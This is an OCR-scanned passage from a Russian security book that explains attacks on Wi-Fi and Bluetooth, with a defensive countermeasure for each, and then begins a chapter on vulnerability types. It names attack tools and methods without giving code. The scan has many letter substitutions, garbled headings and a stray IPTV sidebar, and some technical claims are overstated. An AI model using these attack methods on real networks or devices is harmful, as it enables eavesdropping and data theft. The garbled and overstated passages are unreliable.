филях беспроводпого соедипепия клиептов указывается пароль дли
пой О Т  8 ДО 63 СИМВОЛОВ. 

WPA-PSK пе подходит для беспроводпых сетей круппых оргапи
заций, для пих используется WPA- ЕАР, где авторизация пользовате
лей проводится па отдельпом RADIUS-cepвepe. Для использовапия 
802. ix пеобходимо разворачивать полпоцеппую ипфраструктуру от
крытого ключа PKI. Сервер аутептификации после получепия серти
фиката от пользователя использует 802. 1 Х  для геперации упикаль
пого базового ключа для сеапса связи. TKIP осуществляет передачу 
сгеперироваппого ключа пользователю в точке доступа, после чего 
выстраивает иерархию ключей плюс систему управлепия. Для это
го используется двустороппий ключ для дипамической геперации 
ключей шифровапия даппых, которые, в свою очередь, используются 
для шифровапия каждого пакета даппых. Подобпая иерархия ключей 
TKIP замепяет одип ключ WEP (статический) па 500 миллиардов 
возможпых ключей, которые будут использовапы для шифровапия 
даппого пакета даппых. 

Дальпейшим развитием протокола WPA является WPA2 . WPA2 
определяется стапдартом IEEE 802. 1 i i, припятым в июпе 2004 года. 
В пем реализовапы ССМР и шифровапие AES, за счет чего WPA2 стал 
более защищеппым, чем свой предшествеппик. ССМР (Counter Mode 
with Cipher Block Chaining Message Authentication Code Protocol, 
протокол блочпого шифровапия с кодом аутептичпости сообщепия 
и режимом сцеплепия блоков и счетчика) - протокол шифровапия 
802. 1 i i, создаппый для замепы TKIP, обязательпого протокола шиф
ровапия в WPA и WEP, как более падежпый вариапт. 

З. 1 .4. Физическая защита 

Также пеобходимо правильпо пастроить зопу охвата вашей беспро
водпой сети. То есть пе полепиться выйти с поутбуком за пределы 
охрапяемого периметра, папример па парковку перед офисом, и про
верить, �видпа� ли оттуда ваша сеть. Если опа появляется в списке 
доступпых беспроводпых сетей, лучше спизить мощпость сигпала. 

Еще одпим способом защиты является фильтрация МАС-адресов 
клиептских устройств, которые могут подключаться к беспроводпой 
сети. Очевидпо, что использовать фильтрацию можпо только в пе
больших сетях, где количество клиептов пе превышает пескольких 
десятков.  Но при этом пе стоит забывать, что это пе папацея, так 
как измепепие МАС-адреса пе представляет большой проблемы для 
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опытпого взломщика, и пужпо в обязательпом порядке использовать 
шифровапие. 

З. 1 . 5. Сокрытие ESSID 

Итак, мы поговорили о протоколах защиты беспроводпых сетей. Те
перь перейдем к обсуждепию особеппостей их пастройки и типичпых 
ошибок, используемых злоумышлеппиками для взлома. 

Начпем с использовапия идептификатора сети ( ESSID) .  Мпогие 
адмипистраторы считают, что сокрытие ESSID помогает защитить их 
беспроводпую сеть. На самом деле это пе особеппо хороший способ 
защиты. Дело в том, что опытпый злоумышлеппик сможет без труда 
обпаружить вашу беспроводпую сеть даже при отключеппой трапс
ляции ESSID.  Поэтому для пебольшой сети имеет смысл отключить 
трапсляцию, а вот для круппой трапсляция должпа быть включепа, 
для того чтобы мобильпые сотрудпики могли без лишпих сложпостей 
к пей подключаться. Зпачепие ESSID пе должпо идептифицировать 
вашу беспроводпую сеть, то есть опо пе должпо содержать пазвапия 
компапии или другой ипформации, которая может привлечь зло
умышлеппиков.  

Здесь в качестве примера приведу утилиту NetStumdler (http:// 
www.netstumЫer.com/). На рисупке представлеп список обпаружеп
пых с помощью этой утилиты беспроводпых устройств (рис. 41 ). 
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Как видпо, для пекоторых удалось определить даже ESSID.  Для 
других осмыслеппое пазвапие NetStumЫer пе указал, одпако ипфор
мация хакерам для дальпейшего поиска и взлома все равпо имеется. 

З. 1 .  6. Возможные угрозы 

Мы поговорили о сокрытии ESSID и фильтрации МАС-адресов , те
перь посмотрим, какой копкретпо вред злоумышлеппик может попы
таться папести беспроводпой сети. Во-первых, оп может вывести из 
строя всю сеть, атаковав устройства доступа по Wi-Fi. В этом случае 
все мобильпые сотрудпики пе смогут работать с сетевыми ресурсами, 
что может привести к убыткам из-за простоя. 

Во-вторых, оп может попытаться похитить даппые с доступпых 
корпоративпых серверов.  Здесь речь идет о пропикповепии в сеть 
через Wi-Fi и краже даппых. В-третьих, оп может осуществить атаку 
�человек посередипе� ( Man- In-The Middle ). В этом случае злоумыш
леппик может пропускать весь трафик через устройство, которое оп 
коптролирует, и просматривать, а также при пеобходимости модифи
цировать проходящий трафик. В-четвертых, оп может украсть ключи 
шифровапия и пезаметпо читать весь трафик, передаваемый по сети. 
Если предыдущие три способа так или ипаче требуют от взломщика 
совершепия каких-либо действий в процессе работы с беспроводпой 
сетью, будь то геперация трафика для вывода из строя сети, хищепие 
или модификация даппых, то, одип раз украв пужпые ключи шиф
ровапия, оп сможет совершеппо пезаметпо читать трафик, пикак пе 
выдавая себя. Этот вариапт является паиболее опаспым. 

З. 1 .  7. Отказ в обслуживании 

Первая возможпая угроза - это отказ в обслуживапии. Для осу
ществлепия этой угрозы есть мпожество способов.  Прежде всего 
злоумышлеппик может осуществить геперацию помех па частоте 
работы беспроводпой сети. Дело в том, что IEEE 802 . 1 1  являет
ся �вежливым� стапдартом, то есть устройства пе пачпут передачу 
пакетов до тех пор, пока капал передачи пе будет свободеп. Таким 
образом, злоумышлеппик может геперировать помехи с помощью 
педорогих, по достаточпо мощпых передатчиков , работающих па 
той же частоте. 

Бороться с такими атаками техпическими средствами пе так прос
то, потому что пе шифровапие, пе фильтрация МАС-адресов здесь 
пе помогут. Лучшим средством могут стать оргапизациоппые меры, 
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предотвращающие пропикповепие постороппих в пепосредствеппую 
близость к корпоративпой беспроводпой сети. 

Вообще, тема устройств, используемых злоумышлеппиком, и их 
мощпости довольпо иптереспа сама по себе. Взломщик может при
обрести в Иптерпете достаточпо мощпое устройство с паправлеппой 
аптеппой стоимостью порядка тысячи долларов. С помощью такого 
устройства оп сможет, паходясь па довольпо почтительпом расстоя
пии, �спимать� трафик. 

Но верпемся к отказам в обслуживапии. Также злоумышлеппик 
может повторпо отправить даппые АRР-таблицы. При этом ему пе 
пужпо расшифровывать пакет, достаточпо его просто повторить. 
В случае, если эти даппые уже пе корректпы, это может привести 
к выходу из строя беспроводпой сети. Здесь пеобходимо пастроить 
мопиторипг ваших беспроводпых устройств средствами IPS ( Intru
sion Prevention System - система предотвращепия вторжепий),  ко
торые смогут определить подозрительпую активпость, в частпости 
измепепия в АRР-кеше устройств и связаппые с этим сбои. 

Еще одип способ па время вывести из строя беспроводпую точку 
доступа - это отправка сообщепий об ошибках. То есть если после 
получепия более чем двух сообщепий о певерпой коптрольпой сум
ме (хеше) передаппых точкой пакетов мпогие устройства перестают 
па одпу мипуту передавать трафик. Таким образом, злоумышлеппи
ку достаточпо отправлять раз в мипуту три сообщепия о певерпой 
коптрольпой сумме, для того чтобы точка доступа перестала пор
мальпо работать. Стоит отметить, что па мпогих совремеппых Wi
Fi-маршрутизаторах даппый режим включеп по умолчапию. Наи
лучшим способом борьбы с такими атаками является отключепие 
даппого режима коптроля ошибок. Для практической реализации 
таких атак можпо воспользоваться утилитами, паходящимися в раз
деле Wireless дистрибутива Backtrack. 

Даже в случае, если вы успешпо предотвращаете все предыдущие 
атаки па отказ в обслуживапии, еще одпа уязвимость, которой может 
воспользоваться злоумышлеппик, кроется в реализации самого бес
проводпого протокола. Речь идет об управляющих фреймах. Дело 
в том, что управляющая ипформация передается в пезашифровап
пом виде и пикак пе аутептифицируется. Злоумышлеппик может, 
отправляя поддельпые служебпые фреймы, вывести из строя бес
проводпую сеть. Для борьбы с этим Cisco предлагает техпологию 
Management Frame Protection. Суть даппой техпологии заключается 
в том, что к каждому служебпому фрейму прибавляются цифровые 
подписи.  Благодаря использовапию цифровых подписей корпоратив-
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пая система IPS может быстро определить то, что кто-то отправляет 
поддельные фреймы, и отключить данный хает от сети. Вообще же, 
в стандарте 802. 1 1  w имеется защита служебного трафика. 

Для входа в беспроводную сеть нам необходимо сначала аутенти
фицироваться. Здесь нужно запомнить, что хорошая аутентификация 
есть процесс двусторонний. То есть при подключении нам необходи
мо сначала проверить его сертификат и предоставить свой для про
верки. Лишний довод в пользу 802 . 1х. 

Атака Network Allocation Vector заключается в следующем. При пе
редаче данных в служебном фрейме указывается, сколько времени мы 
собираемся занимать канал. Это делается для того, чтобы избежать 
коллизий. На это время передача других пакетов на данном канале не 
ведется. Злоумышленник может указать в служебном фрейме чрез
мерно большое значение ноля, в результате чего теоретически точка 
доступа выйдет из строя на несколько минут. Для борьбы с этим Cisco 
также предлагает технологию Management Frame Protection. 

З. 1 . 8. Поддельные сети 

Вот мы перебрали возможные атаки на отказ в обслуживании. Теперь 
рассмотрим, что может сделать злоумышленник после успешного 
осуществления атак данного тина. Выведя из строя корпоративную 
сеть, злоумышленник подставляет вместо нее свою беспроводную 
сеть с тем же ESSID.  Осуществить это можно с помощью мощных 
беспроводных устройств с направленной антенной, о которых я уже 
упоминал ранее. Пользователи подключаются к поддельной беспро
водной сети, и злоумышленник без труда сможет прослушивать весь 
передаваемый ими трафик и извлекать из него интересующие све
дения. В частности, многие пользователи со своей рабочей станции 
могут посещать социальные сети или пользоваться услугами интер
нет-банкинга. Учетные данные, необходимые для работы с данны
ми сервисами, могут быть перехвачены злоумышленником. Также 
взломщик может осуществить �фишинг� , то есть подмену сайтов, 
в результате заставив пользователей ввести свои учетные записи, 
к примеру, на поддельном сайте интернет-магазина. 

Однако, для того чтобы заставить хотя бы часть пользователей 
подключиться к поддельной беспроводной сети, злоумышленнику 
совершенно не обязательно выводить из строя корпоративную сеть. 
Пользователи сами подключатся к его сети. Делается это следующим 
образом. Если на компьютере пользователя разрешено подключе
ние к доступным беспроводным сетям, то при каждом включении 
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адаптер беспроводного доступа будет пытаться подключиться к тем 
сетям, профили которых сохранены на данной машине. То есть если 
вы когда-либо подключались к сети Beeline Wi-Fi, то этот профиль 
сохраняется у вас на машине, и при каждом включении адаптер будет 
пытаться подключиться к данной сети. Попытка подключения будет 
выражаться в передаче фрейма, содержащего ESSID сети, к кото
рой клиент желает подключиться, а также параметры безопасности, 
использовавшиеся при подключении. Для упомянутой сети Beeline 
Wi-Fi шифрование не используется. Это означает, что никаких до
полнительных настроек на стороне клиента делать не нужно и под
ключение произойдет действительно автоматически. 

Строго говоря, если у пользователя разрешено подключение к лю
бым доступным сетям, то он может просто �подсунуть� свою не тре
бующую настройки беспроводную сеть, и если сигнал будет сильнее, 
чем у корпоративных точек доступа, то многие клиенты подключатся 
к его сети, даже если ESSID будет им совершенно незнаком. Очень не 
многие пользователи обращают внимание на то название беспровод
ной сети, что им пишет система в трее при подключении. 

Лучшим способом борьбы с описанными способами подключения 
к поддельным сетям является запрет использования незащищенных 
сетей, а также запрет на подключение к доступным профилям. Реа
лизовать данные запреты в рамках корпоративной сети можно с по
мощью групповых политик. 

З. 1 . 9. Ошибки при настройке 

Одним из лучших средств защиты беспроводной сети является ис
пользование инфраструктуры открытого ключа PKI. Однако и здесь 
возможны ошибки в настройке, которые могут привести к подмене 
сети злоумышленником. Прежде всего сертификат открытого клю
ча лучше всего хранить на подключаемом носителе, а не в реестре 
Windows, так как оттуда его можно достать. Также необходимо пра
вильно настроить двустороннюю аутентификацию, то есть аутенти
фикацию как клиента сервером, так и сервера клиентом. Зачастую 
многие администраторы отключают проверку сертификата сервера 
на клиенте. В результате абонент не будет проверять серверный сер
тификат при подключении к сети, и единственным средством защиты 
останется ESSID,  который злоумышленник сможет легко подменить. 
Далее ему необходимо будет развернуть свой сервер аутентификации, 
например на основе FreeRADIUS,  который будет аутентифицировать 
клиентов, не производя проверки их сертификатов. В результате но-
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лучаем ту же атаку �человек посередине� .  Для борьбы с этой угрозой 
следует также использовать IPS.  

З. 1. 1 О. Взлом ключей шифрования 

Поговорим о взломе зашифрованных протоколов . Как известно, 
взломать можно любой шифр, это лишь вопрос времени. Злоумыш
ленник может достаточно долго работать в режиме прослушивания, 
записывая передаваемый трафик, а затем с помощью специальных 
утилит попытаться расшифровать его ключ шифрования. Для про
токола WEP этот процесс не займет много времени. Для WPA-PSK 
все будет зависеть от длины и сложности ключа шифрования. 

Но не стоит обольщаться. Технический прогресс не стоит на месте, 
и в последнее время большую популярность нрибрел метод перебора 
паролей с использованием в качестве вычислительных мощностей 
видеокарт. Дело в том, что сопроцессор, используемый в видеокартах, 
идеально подходит но своим вычислительным характеристикам для 
быстрого подбора. Учитывая, что стоимость самой мощной видеокар
ты не превышает нескольких сотен долларов, а установить их можно 
до четырех в один компьютер, быстрый подбор может стать не таким 
дорогим делом. В результате вскрытие достаточно сложного ключа 
шифрования может занять порядка месяца. 

Также, говоря о подборе, не стоит забывать и про ботнеты, вы
числительные мощности которых позволяют осуществлять подбор 
за разумный интервал времени. 

Лучшим средством борьбы с такими атаками являются отказ от 
использования WPA-PSK и переход на инфраструктуру PKI. 

Мы уже говорили о необходимости смены ESSID,  используемого 
но умолчанию. Причина необходимости такой замены кроется в 
следующем. При шифровании трафика, передаваемого но беспро
водной сети, используется ESSID.  Для типовых значений иденти
фикатора существуют так называемые RаinЬоw-таблицы, содержа
щие значения зашифрованных с помощью данных идентификаторов 
пакетов.  По этим таблицам злоумышленник сможет буквально за 
несколько секунд расшифровать ключ шифрования. Для борьбы 
с этим необходимо использовать нестандартное (неосмысленное) 
значение ESSID.  

U nicast-тpaфик  (одноцел евая передача  пакетов )  испол ьзуется прежде 
всего для сер в и сов  «персонал ьного» ха рактера .  Кажды й абонент мо
жет зап росить персонал ьный  в идеоконтент в п роиз вольное, удобное 
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ему в ремя . U n icast-тpaфик  направляется из одного источ н и ка к одному 
I Р -адресу назначения .  
В rоаdсаst-траф ик  (широковещател ьная передача  па кетов)  испол ьзует 
специал ь н ы й  I Р-адрес, чтобы  посыл ать оди н и тот же поток да н н ых 
ко всем абонентам да нной  I Р -сети . Н а п ример,  такой I Р-адрес может 
ока н ч и ваться на 255 , напр имер 1 92 .0 . 2 . 255 , или  иметь 255  во всех 
четы рех полях (2 55 . 255 . 255 .255 ) .  
M u lt icast-тpaф ик  (груп повая  передача  па кетов)  испол ьзуется для пере
дач и  потокового видео, когда необходимо доста в ить видеоконтент не
о грани ченному ч и слу абонентов ,  не  перегружая сеть .  Это наиболее 
часто испол ьзуемы й  тип  переда ч и  да нных  в I РТV-сетях, когда одну и ту 
же про грамму смотрят бол ьшое ч и сло  абонентов .  M u lticast-тpaфик  ис
пол ьзует специал ьный  класс I Р-адресов назначения ,  напр имер адреса 
в диапазоне 224 .0 .0 .0  . . . . .  239 . 255 . 255 . 255 .  Это могут быть I Р-адреса 
класса D .  

З. 1 .  1 1 . Уязвимость 1 96 

Еще один способ проникновения в беспроводную сеть заключается 
в использовании так называемой �уязвимости 196�. Она заключается 
в следующем: при передаче unicast-дaнныx всегда используется уни
кальный ключ, а при передаче данных broadcast или multicast - один 
и тот же ключ. Этот ключ знают драйверы клиентских устройств, и 
теоретически этот ключ можно извлечь. В результате злоумышлен
ник сможет осуществить атаку �человек посередине� посредством 
использования ARP. Для этого он может подменить МАС-адрес шлю
за но умолчанию на адрес своей машины. В результате весь трафик 
сначала будет поступать на его машину, а уже после передаваться 
в Интернет. Защититься от этого можно с помощью IРS-систем. 
Также во многих беспроводных маршрутизаторах имеется режим, 
позволяющий запретить обмен трафиком между пользователями на
прямую (аналог Private VLAN).  При использовании данного режима, 
даже если злоумышленник сможет подменить МАС-адрес шлюза но 
умолчанию, точка доступа не пропустит трафик, что приведет к не
работоспособности беспроводной сети, однако это лучше, чем про
слушивание трафика злоумышленником. 

З. 1 . 12. В обход защиты 

Еще одна атака, не связанная непосредственно с безопасностью бес
проводных сетей, - это установка злоумышленником собственной 
точки беспроводного доступа в корпоративной сети. В случае если 



АТ АКИ НА Wl-F I  1 99 

взломщику каким-либо образом удалось проникнуть в корпоратив
ную сеть и подключить к сети свою точку доступа (как правило, прос
то подключив ее к свободной розетке) ,  он сможет без труда работать 
в корпоративной сети, обойдя межсетевые экраны и средства защи
ты, находящиеся но периметру. Способов борьбы с этим несколько. 
Прежде всего необходимо принудительно отключить на коммутато
рах все неиспользуемые сетевые розетки (режим disaЫed) .  Пример 
настройки отключения сетевых розеток для коммутаторов Cisco был 
описан в разделе, посвященном атакам на коммутаторы. 

Также хорошим решением является использование на коммутато
рах 802. ix  для аутентификации подключающихся устройств. Однако 
эти средства защиты требуют определенных знаний и затрат, которые 
может себе позволить не каждая организация. 

Также средством защиты являются специальные Wireless IPS, ко
торые осуществляют мониторинг на предмет работающих точек до
ступа. Несанкционированная точка доступа сразу будет обнаружена. 
Однако тут не все так просто, для некоторых моделей оборудования 
Dlink существуют альтернативные прошивки, позволяющие устрой
ству работать в другом частотном диапазоне, который не преду
смотрен стандартами и не мониторится Wireless IPS. Такие точки 
обнаружить штатными средствами мониторинга не удастся. Для об
наружения подобных устройств необходимо использовать Wireless 
IPS с функционалом анализатора спектра. 

З. 1 .  12. 8 •ix•A з�щиты 

Во многих беспроводных сетях для аутентификации используется 
веб -интерфейс, то есть пользователь при подключении попадает на 
страницу но умолчанию, где вводит свои учетные данные, и после 
этого у него появляется полноценный доступ в беспроводную сеть. 
Аутентификация на уровне веб - это прикладной уровень. Если при 
этом на канальном уровне никакой защиты не присутствует (нет 
шифрования),  то в результате злоумышленник сможет перехватить 
МАС-адрес машины, успешно прошедшей аутентификацию, и за
тем попытаться, поменяв у себя МАС-адрес, также подключиться 
к сети. 

Здесь хорошим средством защиты является использование WPA
PSK с паролем и последующей аутентификацией через веб. В этом 
случае трафик не будет передаваться в незашифрованном виде, что 
существенно усложнит взломщику процесс прослушивания и про
никновения. 
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3. 1 .  1 1 . У1'38ИМ�СТ"' 1 !i 

В заключение подведем некоторые итоги.  Итак, для того чтобы за
щитить корпоративную беспроводную сеть, нам необходимо: 

О сменить ESSID,  используемый но умолчанию, на какое-либо 
неосмысленное значение; 

О ограничить мощность сигнала беспроводных устройств ; 
О развернуть шифрование WPA с использованием 802. ix; 
О настроить мониторинг беспроводных устройств средствами IPS;  
О запретить клиентским рабочим станциям подключаться к до-

ступным беспроводным сетям. 

Это основные меры, которые необходимо принять для защиты ва
шей беспроводной сети. 

Стоит отметить, что применение этих простых и в общем-то не
сложных мер защиты, которые поддерживаются большинством со
временных беспроводных устройств , позволит существенно снизить 
вероятность взлома вашей беспроводной сети. 

3.2 . Безопас н ость B l uetooth 
Технология ближней радиосвязи Bluetooth, появившись в далеком 
1999 году, за прошедшие годы обрела неслыханную популярность. 
Устройства с Ыuetooth уже не редкость - теперь технологией оснаща
ются не только �тоновые� модели, но и устройства среднего ценового 
диапазона. 

Однако при всех плюсах Bluetooth у него есть как минимум три су
щественных минуса: невысокая дальность действия, низкая (в срав
нении с тем же wi-fi) скорость и огромное количество мелких и не 
очень уязвимостей и ошибок реализации. И если с первыми двумя 
недостатками можно мириться или бороться, то количество недо
работок заставляет поразиться любого, даже далекого от высоких 
технологий человека. 

Есть несколько разных видов атак на Ыuеtооth-устройства, на
чиная от безобидных (тина BlueSnarf) и заканчивая полноценными 
DоS-атаками, международными звонками без ведома владельца теле
фона и просто похищением СМС (BlueBug). 

з. 1 .  12 . •  Clix•a 3811.l.;IJT,,,I 
Прежде чем приступить к описанию атак на Bluetooth, замечу, что 
большинство из приведенных ниже уязвимостей в современных мо-
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делях устройств уже устранены. Однако для получения комплексного 
представления об угрозах беспроводным устройствам я привел здесь 
описание этих атак. 

Что касается практической реализации, то можно воспользоваться 
утилитой Ыuediving из дистрибутива Backtrack, которая является 
мощным инструментом исследования Bluetooth. 

BlueBug 

Данный вид атаки позволяет получить доступ к выполнению АТ
команд на сотовом телефоне, что может привести к чтению и отправ
ке СМС, полному доступу к телефонной книге и многому другому. 
Возможности атаки почти ничем не ограничены. В теории этой уяз
вимости подвержен любой сотовый телефон с поддержкой Ыuetooth. 

Методы защиты весьма просты - владельцам самых старых теле
фонов с ВТ (если такие еще есть) необходима неренрошить аппарат 
(благо, исправленная прошивка давно доступна), остальным же нуж
но включить защиту соединения Ыuetooth и отклонять подозритель
ные запросы на соединение. 

BlueSmack 

Принцип этой атаки состоит в следующем: если отправить длинный 
пакет, например с помощью утилиты 12ping, входящей в состав пакета 
BlueZ,  то целевое устройство может �повиснуть� или самопроизволь
но перезагрузиться. Пользователям старых устройств опять же по
может смена ОС, современные устройства к атаке невосприимчивы. 

BlueSnarf 

В этой атаке, впервые появившейся в 2003 году, используется сервис 
ОРР (ОВЕХ Push Profile), который применяется для упрощенного 
обмена �визитками� и прочими файлами и при нормальных обстоя
тельствах работает вполне стабильно. Однако чаще всего для досту
па к этому сервису не требуется авторизация, что, кстати, тоже не 
является проблемой. Главная проблема состоит в том, что если про
шивка написана не совсем верно, атакующий может скачать любой 
существующий файл командой GET, а это может быть, например, 
/telecom/pb.vcf (в этом файле хранится телефонная книга устрой
ства). 

Уязвимыми устройствами являются большинство SonyEricsson 
(кроме смартфонов) ,  ранние модели Nokia, многие Siemens, некото-
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рые КПК. Для защиты необходимо установить обязательную автори
зацию для ОРР и не принимать неизвестных запросов. 

Bluesnarf++ 

Развитие идеи Ыuesnarf, позволяющее получить полный ( RW) до
ступ к файловой системе устройства, включая карты памяти, вир
туальные и RАМ-диски и т. н. Вместо малофункционального ОРР 
используется О ВЕХ FTP (со  всеми возможностями протокола FTP), 
к которому можно подключиться без авторизации. 

Уязвимые устройства: Siemens, Samsung, Sony Ericsson и т. н. Теле
фоны Nokia не восприимчивы к этой атаке. 

Здесь защитой является авторизация, а также отклонение подо
зрительных соединений. Нелишним будет и обновление прошивки. 

HeloMoto 

Как можно понять из названия, атака затрагивает телефоны Motorola. 
Суть в следующем: атакующий соединяется с сервисом ОРР жертвы 
(не требуется авторизация),  имитирует посылку @изитки� и разры
вает соединение, не закончив его. В результате в списке �доверенных 
устройств� жертвы появляется телефон атакующего, что дает воз 
можность соединиться с сервисом гарнитуры ( Headset) и выполнять 
АТ-команды (Атака BlueBug). Уязвимыми устройствами являются 
все телефоны Motorola. 

Установить защиту соединения. Поскольку на телефонах Motorola 
максимальная длительность нахождения Bluetooth в режиме обна
ружения составляет всего 60 секунд, владельцам можно не беспо
коиться. Шанса встретить хакера в момент уязвимости телефона 
практически нет. 

BlueDump (Re-Pairing attack) 

Эта достаточно серьезная атака основана на методе �подделки� ВТ -
МАС-адреса с целью получить привилегии настоящего обладателя 
МАС. Лучше всего пояснить на примере. 

Допустим, есть три устройсва с Bluetooth - два из них находятся 
в доверительных отношениях, третье - устройство злоумышленника. 
Если злоумышленник знает МАС-адреса первых двух устройств, ему 
достаточно дождаться выхода одного из устройств из зоны действия, 
присвоить себе его МАС и инициировать повторное �спаривание� 
с оставшимся устройством. Это становится возможным из-за того, 
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что одно из устройств может @абыть� link key, которым шифруется 
передача данных, и запросить его повторную генерацию. 

Уязвимые устройства - все устройства Ыuetooth. 
На данный момент эта уязвимость неизлечима. Однако не все так 

плохо - ведь без знания адреса доверенного устройства злоумышлен
ник не сможет ничего сделать - перебрать все возможные адреса за 
небольшой промежуток времени невозможно. 

CarWhisperer 

Атака на автомобильные магнитолы с Ыuetooth, которая становится 
возможной из-за использования производителем стандартного и, как 
правило, неизменяемого рin-кода вроде 0000 или 1 234. 

Соединение происходит совершенно прозрачно для владельца ав
томобиля, после чего телефон ( КПК/ноутбук. .. ) работает с магнито
лой как с обычной гарнитурой. 

DоS-атаки с использованием bss (Ыиetooth stack smasher) 

Этот тин атак использует неправильно сформированные L2САР
накеты для выключения/зависания/перезагрузки атакуемого устрой
ства. С различными параметрами уязвимы следующие устройства: 
Nokia N70, SonyEricsson T68i, W800i, K600i и другие модели. 

Для защиты от этой довольно старой уязвимости необходимо уста
новить последнюю версию прошивки. 

Как можно заметить, многие уязвимости присущи любым устрой
ствам, однако не стоит волноваться но этому поводу. На это есть две 
причины. Первая - радиус действия Ыuetooth слишком мал, соот
ветственно, для атаки необходимо быть в зоне прямой видимости, 
а вторая - все устройства позволяют включить защиту Ыuetooth или, 
но крайней мере, стать �невидимым� для остальных. 

3.3 . За кл ючен ие 
В завершение главы хотелось бы дать несколько общих рекомендаций 
но защите беспроводных сетей. 

Начнем с того, что все ваши устройства должны быть защище
ны физически. В частности, посторонние не должны иметь доступа 
к сетевому оборудованию. Недопустима ситуация, когда устройство 
беспроводного доступа находится в коридоре, в незапертом шкафу. 
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Опасаться в такой ситуации стоит даже не столько хищения или ка
ких-либо злонамеренных действий, сколько случайностей. Например, 
случайного отключения питания устройства или его сетевых портов. 

Также должна быть обеспечена отказоустойчивость сетевых 
устройств , то есть устройства должны подключаться к источникам 
бесперебойного питания. На более дорогих, промышленных сетевых 
устройствах имеется но два блока питания. Соответственно, каждый 
из этих блоков питания должен быть подключен к отдельному кон
туру питания. 

Теперь что касается непосредственно безопасности. Большинство 
сетевых устройств обладают интерфейсом для удаленного админист
рирования. Как правило, это веб-интерфейс. Для защиты установите 
надежный пароль на вход. Надежным можно считать пароль длиной 
не менее 8 символов,  содержащий заглавные и прописные буквы, 
цифры и знаки препинания. Также очень желательно использовать 
SSL-шифрование, если, конечно, ваше оборудование поддерживает 
HTTPS. Еще необходимо ограничить доступ к интерфейсу только 
для администраторских машин. Если сетевое устройство не обладает 
такими функциями, то ограничьте доступ к интерфейсу с помощью 
межсетевых экранов и используйте средства предотвращения втор
жений. Подробнее эти системы будут представлены в следующих 
главах. 

Не стоит забывать и о том, что обеспечение сетевой безопасности 
есть важный элемент общей системы информационной безопасности. 
Конечно, вы можете избежать атак, связанных с перехватом данных, 
используя шифрование (о котором мы уже говорили и еще обсудим 
в одной из следующих глав) ,  но избежать проблем с выводом из строя 
различных устройств вам вряд ли удастся. Поэтому лучше правильно 
настроить все беспроводные сетевые устройства сразу, чем потом, 
в авральном режиме исправлять допущенные ранее ошибки. 
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Уязвимости 

Уязвимости в нрограммном обеснечении являются серьезной и важ
ной нроблемой, ноэтому в этой главе мы нодробно обсудим, какие 
именно уязвимости бывают, какую угрозу они нредставляют и, глав
ное, как с ними бороться. Замечу, что нредставленный в этой главе 
материал хорошо известен и не нредставляет какой-либо тайны, одна
ко до сих нор онисываемые уязвимости регулярно встречаются в нро
граммном обеснечении. Поэтому мы нодробно рассмотрим основные 
виды уязвимостей и экснлоиты, а также наговорим о том, как с ними 
бороться. 

Итак, что же нредставляют из себя уязвимости. 

4. 1 . Ос н о вн ые ти п ы  уязви мосте й 

Прежде всего онределимся с некоторыми основными нонятиями. По
нятие уязвимости нельзя рассматривать в отрыве от таких терминов , 
как угроза и атака. Угроза - это нотенциально возможное событие, 
явление или нроцесс, которое носредством воздействия на комнонен
ты информационной системы может нривести к нанесению ущерба. 
Уязвимость - это свойство информационной системы, которая мо
жет быть иснользована нарушителем нри нроведении атаки и может 
нривести к реализации угрозы. Атакой в данном контексте является 
любое действие нарушителя, которое нриводит к реализации угрозы 
нутем иснользования уязвимостей информационной системы. 

По мере наконления информации об уязвимостях возникали и 
различные варианты их классификации. В настоящее время инфор-
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мация об обнаруженных уязвимостях достаточно систематизирована, 
существует несколько общеизвестных источников , где эта информа
ция представлена. Наиболее удачным вариантом классификации яв
ляется классификация но источнику возникновения. Данный вариант 
классификации связан с этанами жизненного цикла системы и часто 
указывает на причину возникновения той или иной уязвимости. 

4. 1 .  1 .  Уязвимости проектирования 

Часть уязвимостей возникает на этане проектирования. Например, 
значительная часть сервисов прикладного уровня не предусматри
вает шифрования данных при передаче но сети. Примерами таких 
сервисов являются Telnet, FTP, НТТР и др. В результате критичная 
информация, такая как учетные данные пользователя, может переда
ваться в открытом виде. В предыдущих главах мы уже могли в этом 
убедиться на примерах. 

Как правило,  уязвимости, возникшие на этане проектирования, 
с трудом поддаются устранению. Например, в случае с сервисами 
прикладного уровня можно либо отказаться от использования со
ответствующего протокола, либо использовать криптографические 
защитные механизмы. 

4. 1 .2. Уязвимости реализации 

Значительная часть уязвимостей появляется на этане разработки ин
формационной системы. Например, многие уязвимости возникают 
из-за ошибок разработчиков, таких как переполнение буфера. Так, 
уязвимость, которая когда-то привела к распространению червя SQL 
Slammer, была следствием переполнения буфера в реализации службы 
разрешения имен в СУБД SQL Server 2000, которая, в свою очередь, 
приводила к отказу в обслуживании или выполнению произвольного 
кода путем посылки специально составленных UDР-накетов на порт 
1 434. Эти уязвимости устраняются довольно просто, посредством 
установки соответствующих обновлений. 

4. 1 .2. Уязвимости Jlе�лиз�ции 

Третьим видом уязвимостей являются ошибки, допущенные в про
цессе эксплуатации информационной системы. Примерами таких 
уязвимостей являются: 

О использование конфигураций но умолчанию; 
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О некорректно заданные параметры защитных механизмов ; 
О неиспользуемые сетевые сервисы, доступные удаленно. 

Конфигурации но умолчанию могут содержать в себе простые, 
а главное - широко известные пароли к административным учетным 
записям. Эти пароли представлены в документации к информацион
ной системе, однако в данных документах категорически рекомен
дуют сменить подобные пароли при нервом же подключении. Но 
многие администраторы игнорируют данное требование, продолжая 
эксплуатацию систем с паролем но умолчанию. 

Аналогично и что касается некорректно заданных параметров за
щитных механизмов. Здесь примерами могут служить сертификаты, 
используемые в инфраструктуре открытого ключа ( PKI) .  Многие 
приложения используют при установке соединения сертификаты, 
которые поставляются вместе с приложением и не являются дове
ренными. Использование таких сертификатов может привести к ком
прометации всей системы. Необходимо заменить их на сертификаты 
доверенного удостоверяющего центра. 

Доступные удаленно не используемые сетевые сервисы - это Telnet, 
SNMP и др. Наилучшее средство борьбы с ними - это их отключение. 

Основной темой данной главы являются уязвимости реализации, 
их обнаружить, в отличие от уязвимостей проектирования и экс 
плуатации, сложнее всего.  Они требуют анализа работы приложений 
и систем. 

Для понимания сути уязвимости приведем несколько простых 
примеров .  Типичной уязвимостью, знакомой практически любо
му студенту, хоть раз писавшему какие-либо программы, является 
�ошибка плюс-минус один�. Как следует из названия, она возника
ет, когда программист при подсчете итераций цикла ошибается на 
единицу. Это происходит гораздо чаще, чем можно было бы пред
положить, и проще всего проиллюстрировать суть таким вопросом: 
если вы строите изгородь длиной 30 метров и ставите столбы через 
каждые три метра, то сколько столбов вам понадобится? Очевидный 
